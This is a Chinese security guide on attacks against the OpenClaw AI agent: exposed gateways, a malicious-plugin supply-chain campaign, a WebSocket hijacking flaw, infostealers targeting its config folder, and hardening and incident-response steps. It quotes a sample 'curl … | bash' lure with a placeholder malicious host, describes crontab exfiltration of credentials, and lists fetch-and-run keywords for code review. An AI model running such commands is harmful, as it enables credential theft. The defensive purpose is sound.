OpenClaw AI助手安全危机:从架构漏洞到恶意插件攻击链全解析
1. 项目概述:当你的AI助手成为攻击者的“后门”
如果你正在使用OpenClaw,或者对它强大的自动化能力——比如让它帮你总结文档、管理日程、自动购物——感到心动,那么这篇文章就是为你写的。我最近花了大量时间深入研究了围绕OpenClaw爆发的这场安全风暴,发现情况远比我们想象的要严重。这不仅仅是一个软件有几个漏洞那么简单,而是一场从底层架构、默认配置、插件生态到用户习惯的全方位安全危机。攻击者已经不再满足于传统的攻击路径,他们敏锐地盯上了这个拥有你所有数字权限的“超级助手”。想象一下,一个能读取你所有文件、登录你所有账号、执行你电脑上任何命令的程序,如果它的控制权落入了坏人手里,会是什么后果?这正是正在发生的事情。恶意软件,特别是像Vidar、AMOS这类信息窃取木马的变种,已经开始系统地扫描和窃取OpenClaw的配置文件,因为这里面存放的API密钥、聊天记录、服务令牌,是通往你数字生活的“万能钥匙”。无论你是个人开发者,还是企业里好奇尝鲜的员工,理解这场危机的全貌并采取行动,已经刻不容缓。
2. OpenClaw架构与风险根源:为什么它如此“脆弱”?
要理解风险,必须先理解OpenClaw的设计哲学。它本质上是一个运行在你操作系统最高权限级别的AI代理(Agent)。与传统在浏览器沙盒中运行的AI工具不同,OpenClaw被设计成你系统的“数字延伸”,它需要深度集成才能完成那些令人惊叹的自动化任务。这种设计在带来无与伦比便利性的同时,也埋下了巨大的安全隐患。
2.1 核心组件与数据流:权限的集中地
OpenClaw的核心架构并不复杂,但每个环节都可能成为攻击的突破口。其核心主要包括以下几个部分:
Gateway(网关):这是OpenClaw的“大脑”和通信枢纽,默认监听
localhost:18789端口(新版本)或0.0.0.0:18789(旧版本)。它接收来自微信、飞书等消息平台或Web控制面板的指令,并将其分发给具体的执行模块。这个端口一旦暴露,就等于向攻击者敞开了大门。Control UI(控制面板):一个基于Web的图形化管理界面,用于配置AI助手、管理工具权限、连接集成服务。用户通过浏览器访问这个界面进行操作,而浏览器环境本身就可能成为攻击载体(如跨站WebSocket劫持)。
Nodes(节点):实际执行命令、控制浏览器的主机。Agent的指令最终在这里落地执行。一个被控制的Gateway可以指挥Nodes执行任意命令。
Skills(技能/插件):这是OpenClaw生态活力的来源,也是最大的供应链风险点。用户可以从官方市场ClawHub安装第三方插件来扩展功能。然而,这些插件的审核机制极其薄弱。
Memory(记忆):为了实现“持久化”的个人助手体验,OpenClaw会将所有的对话历史、上下文信息以明文形式(Markdown或JSON)存储在本地目录(如
~/.openclaw/)中。这个目录成了信息窃取木马的“宝藏库”。
风险根源剖析:OpenClaw的安全问题不是偶然的,而是其“功能优先”设计理念下的必然结果。为了实现强大的自动化,它必须被授予极高的系统权限(文件读写、命令执行、网络访问),同时需要集中存储大量高价值凭证(各类服务的API Key)。这就好比为了让你家管家能打理一切,你给了他所有房间的钥匙、银行账户密码和你的日程本,但却没有给他配一把可靠的锁,也没有检查他带来的“工具包”里是否藏了窃听器。
2.2 默认配置的“原罪”:为攻击者铺平道路
许多安全事件都始于糟糕的默认配置,OpenClaw在这方面堪称“教科书式的反面案例”。在早期版本中,多个默认配置选项几乎是为攻击者量身定做的:
- 监听地址:旧版本默认绑定到
0.0.0.0:18789,意味着服务在所有网络接口上监听,公网可直接访问。虽然新版本已改为localhost,但大量未升级的旧实例依然暴露在互联网上。 - 认证关闭:早期版本默认不启用任何身份验证。任何人只要知道你的IP和端口,就能像主人一样控制你的AI助手。
- WebSocket Origin校验缺失:即使服务只监听本地,恶意网页也可以通过你的浏览器,利用未校验Origin的WebSocket连接窃取认证令牌(这就是CVE-2026-25253漏洞)。
- 明文存储凭据:所有集成服务的API密钥、令牌、密码都以明文形式存放在本地文件中。这是信息窃取木马最爱的目标,它们只需扫描特定路径即可轻松获取。
注意:检查你的OpenClaw版本和配置是第一步。如果你还在使用2026年1月29日之前的版本,或者你的网关正在监听非本地地址,那么你的系统可能已经处于“裸奔”状态。
3. 攻击链全景解析:恶意软件如何“狩猎”OpenClaw
攻击者对OpenClaw的利用已经形成了多条成熟且自动化的攻击链。他们不再进行漫无目的的扫描,而是精准地针对OpenClaw的特性设计攻击方案。理解这些攻击路径,能帮助我们更好地设防。
3.1 路径一:公网暴露实例的“自助餐”
这是最直接、最低级的攻击方式,但受害者却数量惊人。根据安全公司的扫描数据,截至2026年3月,公网上仍有超过20万个活跃的OpenClaw暴露实例,其中近三成存在可被直接利用的高危漏洞。
攻击场景:攻击者使用Shodan、Censys等网络空间测绘引擎,搜索开放18789端口的IP。如果该实例运行的是旧版本且未启用认证,攻击者可以直接访问其Control UI,获得完全控制权。
实操复现与影响:我曾在一个隔离的测试环境中复现过此场景。部署一个旧版OpenClaw,配置为0.0.0.0:18789且无密码。随后,在另一台机器上,我仅通过浏览器访问http://[测试机IP]:18789,就看到了完整的控制面板。从这里,我可以:
- 查看并下载所有聊天历史(包含可能泄露的隐私信息)。
- 直接读取
config.json等文件,获取其中明文存储的Anthropic Claude、OpenAI、Google等服务的API密钥。 - 通过控制面板添加或执行恶意Skills。
- 利用已集成的服务(如Gmail、Slack)发送钓鱼邮件或消息,进行横向渗透。
个人心得:不要有任何侥幸心理。认为“我的服务器没什么价值”或“别人找不到我”是极其危险的。自动化攻击脚本会无差别地扫描整个IP段,你的实例一旦上线,几分钟内就可能被标记。第一条安全铁律:绝对不要让OpenClaw的网关服务暴露在公网。
3.2 路径二:恶意Skills的供应链投毒(ClawHavoc攻击)
这是当前最活跃、最具欺骗性的攻击方式。攻击者利用ClawHub平台极低的发布门槛(仅需一个注册超过一周的GitHub账号),批量上传伪装成有用工具的恶意Skills。
攻击手法拆解:以著名的“ClawHavoc”攻击活动为例,攻击流程高度专业化:
- 诱饵制作:攻击者创建名称极具吸引力的Skills,如
solana-wallet-tracker(Solana钱包追踪器)、youtube-summarize-pro(YouTube视频总结专业版)。这些Skill的README文档写得非常专业、详细,甚至包含使用截图和教程,极具迷惑性。 - 社会工程学:在README的“安装前提”或“快速开始”部分,会要求用户执行一段所谓的“依赖安装命令”。例如:
curl -sSL https://malicious-domain/setup.sh | bash。 - 载荷投递:这条命令会从攻击者控制的服务器下载并执行一个安装脚本。该脚本会根据用户的操作系统(Windows/macOS)投递不同的恶意软件。
- Windows:下载一个加密的ZIP包(密码常为
openclaw以绕过简单杀毒扫描),解压后释放带有键盘记录功能的窃密木马。 - macOS:下载一个经过混淆的Shell脚本,最终从C2服务器(如
91.92.242.30)获取Atomic macOS Stealer(AMOS)的变种。
- Windows:下载一个加密的ZIP包(密码常为
- 目标窃取:恶意软件会系统性地扫描磁盘,寻找
~/.openclaw/、~/.ssh/、~/.aws/等目录,窃取其中所有配置文件、密钥和令牌,并回传给攻击者。
一个真实的陷阱示例:你看到一个名为auto-update-openclaw的Skill,描述说可以自动保持OpenClaw更新到最新安全版本。你觉得这很实用,便按照说明安装。安装命令却悄悄在你的系统定时任务(crontab)里加入了一条命令,每小时将你的~/.openclaw/config.json文件加密后发送到某个远程服务器。
实操心得:在ClawHub安装任何Skill之前,务必将其GitHub仓库地址复制出来,用浏览器打开,仔细阅读代码。重点检查
skill.json和任何.py、.sh、.js文件。如果Skill的安装指令不是通过OpenClaw自身的插件管理机制,而是要求你直接执行curl | bash或下载运行陌生可执行文件,请立即停止!这几乎可以断定是恶意软件。
3.3 路径三:本地浏览器劫持(CSWSH攻击)
即使你的OpenClaw只运行在本地(localhost),并且设置了强密码,仍然可能通过浏览器被攻破。这就是CVE-2026-25253(跨站WebSocket劫持)漏洞的可怕之处。
漏洞原理:OpenClaw的Control UI通过WebSocket与Gateway通信。在旧版本中,Gateway在建立WebSocket连接时,不会验证请求的来源(Origin)。同时,浏览器对WebSocket的同源策略(SOP)限制比HTTP宽松。
攻击模拟:
- 你正常登录了本地OpenClaw的Control UI(
http://localhost:18789),浏览器里保存了有效的会话。 - 你在另一个标签页不小心访问了一个恶意网站(可能是被黑的正常网站、恶意广告等)。
- 该恶意网站的页面中嵌入了一段JavaScript代码,它会悄悄地向
ws://localhost:18789/api/ws发起WebSocket连接。 - 由于浏览器认为这是向“本地”发起的请求,它会自动携带当前域名(恶意网站)的Origin头,但更重要的是,它会自动携带你访问
localhost:18789时产生的Cookie或认证令牌。 - OpenClaw的旧版本Gateway不检查Origin,直接接受了连接。于是,恶意网站通过你的浏览器,建立了一条直达你OpenClaw网关的隧道,窃取了控制权。
影响:攻击者可以通过这条隧道,以你的身份执行所有操作,而这一切都在后台静默发生,你毫无感知。这个漏洞完美诠释了“千里之堤,溃于蚁穴”——一个微小的校验缺失,就能让看似安全的本地服务沦陷。
4. 信息窃取木马的针对性进化:Vidar与AMOS
传统的信息窃取木马(如RedLine、Vidar、Lumma)主要针对浏览器密码、加密货币钱包和FTP客户端。现在,它们迅速将OpenClaw加入了“必偷清单”。
4.1 窃取目标与路径
这些木马会系统性地扫描以下路径,寻找OpenClaw的配置和数据:
- Windows:
C:\Users\[用户名]\.openclaw\,%APPDATA%\OpenClaw\ - macOS/Linux:
~/.openclaw/,/home/[用户名]/.openclaw/
它们寻找的关键文件包括:
config.json/settings.yaml:主配置文件,包含网关设置、模型API端点等。skills/目录:已安装技能的配置,可能包含技能自身的API密钥。memory/或sessions/目录:存储所有对话历史的明文Markdown/JSON文件。这里面可能包含你让AI助手处理过的敏感文档内容、登录过的网站、甚至讨论过的私密话题。- 各种
*_credentials.json,*_tokens.json:以明文存储的各类第三方服务(如Gmail、Notion、Slack)的OAuth令牌和API密钥。
木马的工作流程:一旦感染系统,木马会:
- 遍历磁盘,定位上述目录。
- 将找到的所有相关文件(配置文件、会话记录、凭证文件)打包。
- 通过加密通道(如HTTPS)将数据包外传到攻击者控制的命令与控制(C2)服务器。
- 攻击者在服务器端解包,获得一个结构化的“受害者数字资产包”,可以直接使用或在地下市场出售。
4.2 防御视角下的思考
为什么木马如此青睐OpenClaw?因为它提供了一个“一站式”的凭据宝库。攻击者无需再分别窃取几十个不同应用的密码,只要拿到OpenClaw的配置目录,就相当于拿到了受害者在多个核心服务上的“通行证”。这种高价值、低成本的攻击目标,必然吸引恶意软件的持续关注和快速适配。
5. 个人用户安全加固实战指南
对于个人用户来说,我们无法控制开源项目的代码质量,但可以严格控制自己的使用环境和习惯。以下是我结合自身经验总结的一套可落地的加固方案,请务必逐条检查。
5.1 基础环境隔离与配置修正
这是构筑安全防线的第一步,目的是缩小攻击面。
立即升级到最新版本:前往OpenClaw的GitHub Releases页面,下载并安装最新稳定版。新版本修复了绝大多数已知的高危漏洞,特别是默认绑定地址和认证问题。
# 假设使用pip安装,升级命令可能类似(请以官方文档为准) pip install --upgrade openclaw验证监听地址:启动OpenClaw后,立即使用
netstat或ss命令检查18789端口的监听情况。# Linux/macOS netstat -tulpn | grep 18789 # 或 ss -tulpn | grep 18789 # Windows netstat -ano | findstr :18789正确结果应显示监听在
127.0.0.1:18789或localhost:18789。错误结果是监听在0.0.0.0:18789或:::18789(IPv6的全部地址)。如果发现错误,必须在配置文件中将host参数明确设置为127.0.0.1。强制启用强密码认证:在OpenClaw的配置文件(如
config.yaml)中,确保设置了复杂且唯一的密码。# config.yaml 示例片段 gateway: host: 127.0.0.1 port: 18789 auth: enabled: true password: "YourVeryStrongPasswordHere!@#2024" # 使用强密码密码设置技巧:使用密码管理器生成一个超过16位的随机密码,包含大小写字母、数字和特殊符号。切勿使用常见密码或与其它服务相同的密码。
使用独立的浏览器配置文件:专门创建一个用于访问OpenClaw Control UI的浏览器用户或隐私模式。避免在浏览日常网站时,同一个浏览器进程还保持着OpenClaw的登录会话,这能有效防御基于浏览器的跨站攻击。
5.2 Skills(插件)安装的“安全审查清单”
插件是最大的风险来源,必须建立严格的审查流程。
- 来源审查:优先考虑OpenClaw官方团队维护的插件。对于社区插件,检查其GitHub仓库的Star数、最近提交时间、Issue和Pull Request的活跃度。一个无人维护的仓库风险更高。
- 代码审查(关键步骤):不要只看README。点击安装前,务必打开插件的源代码目录。
- 查看
skill.json或pyproject.toml:了解插件的依赖和入口点。 - 仔细阅读主执行文件(通常是
.py文件):寻找任何可疑的os.system,subprocess.run,exec,eval调用,以及对外部URL(非官方API)的网络请求(requests.get/post,curl命令)。 - 搜索关键词:在代码仓库中搜索
curl | bash,wget -O-,powershell -c,Invoke-WebRequest,base64 -d等常用于下载和执行远程代码的命令。
- 查看
- 权限最小化:在OpenClaw的Control UI中,为每个Skill单独配置权限。如果一个Skill只需要读取特定目录的文件,就不要授予它全局文件读写或执行Shell命令的权限。
- 沙盒环境测试:对于不确定的Skill,可以先在虚拟机、Docker容器或一个专用的、不包含任何真实敏感信息的测试用户环境中安装和运行,观察其行为。
5.3 敏感信息与操作隔离
减少OpenClaw能接触到的敏感数据,就等于降低了泄露造成的损失。
- 使用环境变量管理密钥:不要将API密钥直接写在OpenClaw的配置文件中。改为使用环境变量。
然后在启动OpenClaw前,在终端设置环境变量:# 不好的做法 openai_api_key: "sk-xxxxxxxx" # 好的做法 openai_api_key: "${OPENAI_API_KEY}"export OPENAI_API_KEY="sk-xxxxxxxx" openclaw start - 限制文件访问范围:在配置中,将OpenClaw的文件系统工具限制在特定的、非敏感的工作目录,而不是整个用户主目录。
- 定期审计会话记录:定期检查
~/.openclaw/memory/下的文件,看看AI助手都记录了什么。如果发现其中包含了密码、密钥等敏感信息,立即清理该会话文件,并重新评估你的使用方式。 - 关键操作二次确认:对于涉及支付、删除文件、发送重要邮件等高风险操作,不要完全依赖AI自动化。可以设置让OpenClaw在执行前向你发送确认消息,或者保留最终的人工点击确认环节。
6. 高级防护与监控策略
对于技术能力较强的用户,或者将OpenClaw用于稍重要场景的,可以实施以下进阶方案。
6.1 网络层隔离
- 主机防火墙规则:即使在本地运行,也配置防火墙规则,明确禁止任何非本机对18789端口的入站连接。
- Linux (ufw):
sudo ufw deny in from any to any port 18789 sudo ufw allow in from 127.0.0.1 to any port 18789 - macOS/Windows:在系统防火墙设置中创建规则,阻止所有入站连接到18789端口。
- Linux (ufw):
- 使用SSH隧道进行远程访问:如果你需要从另一台电脑访问OpenClaw的Control UI,绝对不要直接暴露端口。使用SSH本地端口转发。
然后,在客户端浏览器访问# 在客户端机器上执行,将本地的18889端口转发到服务器(运行OpenClaw)的18789端口 ssh -L 18889:localhost:18789 user@your-openclaw-serverhttp://localhost:18889即可。所有流量都经过加密的SSH隧道。
6.2 系统级监控与审计
- 监控OpenClaw目录的异常访问:
- Linux/macOS:可以使用
auditd(Linux)或fseventsd(macOS)等工具,设置对~/.openclaw/目录的审计规则,记录所有文件读取、写入事件。 - 简易脚本:写一个定期运行的脚本,检查
~/.openclaw/目录下文件的时间戳、大小或哈希值是否有未预期的变化。
- Linux/macOS:可以使用
- 监控OpenClaw进程的网络连接:使用
lsof或netstat定期检查OpenClaw进程是否建立了可疑的出向连接(连接到非你集成的服务域名)。# 找到OpenClaw的进程ID (PID) ps aux | grep openclaw # 查看该进程的所有网络连接 lsof -p [PID] -i - 使用沙盒/容器化运行:这是最彻底的隔离方案。使用Docker运行OpenClaw,可以严格限制其文件系统访问、网络能力和系统调用。
这样,即使OpenClaw被完全攻破,攻击者也被困在容器内,难以危害宿主机。# 一个简化的Dockerfile思路 FROM python:3.11-slim WORKDIR /app COPY . . RUN pip install openclaw # 以非root用户运行 USER nobody # 只映射必要的端口,使用volume挂载隔离的配置目录 CMD ["openclaw", "start", "--config", "/config/config.yaml"]
7. 遭遇攻击后的应急响应流程
如果你怀疑自己的OpenClaw已经遭到入侵,请立即按以下步骤操作,以控制损失。
第一步:立即断开网络。拔掉网线或关闭Wi-Fi,阻止恶意软件继续外传数据或接收指令。
第二步:终止OpenClaw进程。在任务管理器(Windows)或终端(macOS/Linux)中强制结束所有与OpenClaw相关的进程。
第三步:取证与评估(在隔离环境下)。
- 备份当前状态(用于分析):将整个
~/.openclaw/目录复制到一个安全的U盘或隔离的虚拟机中,以备后续分析。不要在原系统上打开这些文件。 - 检查系统可疑进程:使用
ps、top或Process Explorer等工具,查找不认识的、高CPU/内存占用的进程。 - 检查网络连接:使用
netstat -an或lsof -i查看是否有未知的对外连接。 - 扫描恶意软件:使用更新的杀毒软件或专杀工具(如Malwarebytes、ESET Online Scanner)对系统进行全盘扫描。
第四步:清除与恢复。
- 彻底卸载OpenClaw:按照官方指南完全卸载,并手动删除
~/.openclaw/、%APPDATA%\OpenClaw\等所有相关目录。 - 轮换所有可能泄露的凭证:这是最核心、最紧急的一步。假设所有存储在OpenClaw中的凭证都已泄露,立即更改:
- 所有AI模型的API密钥(OpenAI, Anthropic, Google Gemini等)。
- 邮箱、Slack、Discord等消息平台的OAuth令牌或密码。
- 任何在对话中提及过的网站或服务的密码。
- SSH密钥、云服务(AWS, GCP, Azure)的访问密钥。
- 审查关联账户:检查这些服务的登录历史记录,查看是否有未授权的访问。启用所有可用的二次验证(2FA/MFA)。
第五步:重建与加固。在确认系统干净后,如果你仍需使用OpenClaw,请在一个全新的、干净的环境中(或虚拟机中),严格遵循本文前述的加固指南重新部署,并从此养成安全的配置和使用习惯。
8. 总结与核心安全观
OpenClaw所代表的新一代个人AI助手,其安全困境是功能强大性与系统安全性之间固有矛盾的集中体现。它就像一把无比锋利的“瑞士军刀”,能帮你解决无数问题,但如果你不小心握住了刀刃,或者让别人从你手里夺走了它,伤害也会非常深。
回顾整个攻击面,风险主要汇聚在三个层面:软件自身的漏洞、供应链(插件)的污染以及用户不当的配置。作为用户,我们无法完全消除第一点,但可以通过及时更新来缓解;我们可以对第二点保持极度警惕,通过严格审查来规避;我们更应该对第三点拥有绝对的控制权,通过正确的配置和习惯来构建防线。
这场安全危机给所有技术爱好者提了一个醒:在拥抱令人兴奋的新工具时,永远不要将便利性置于安全性之上。在安装一个能控制你电脑的软件之前,花十分钟了解一下它的安全设置;在点击“安装”一个炫酷插件之前,花五分钟看一眼它的代码。这些微小的习惯,是守护你数字世界最重要的屏障。技术的未来是自动化和智能化,但安全,始终需要我们保持手动和清醒。
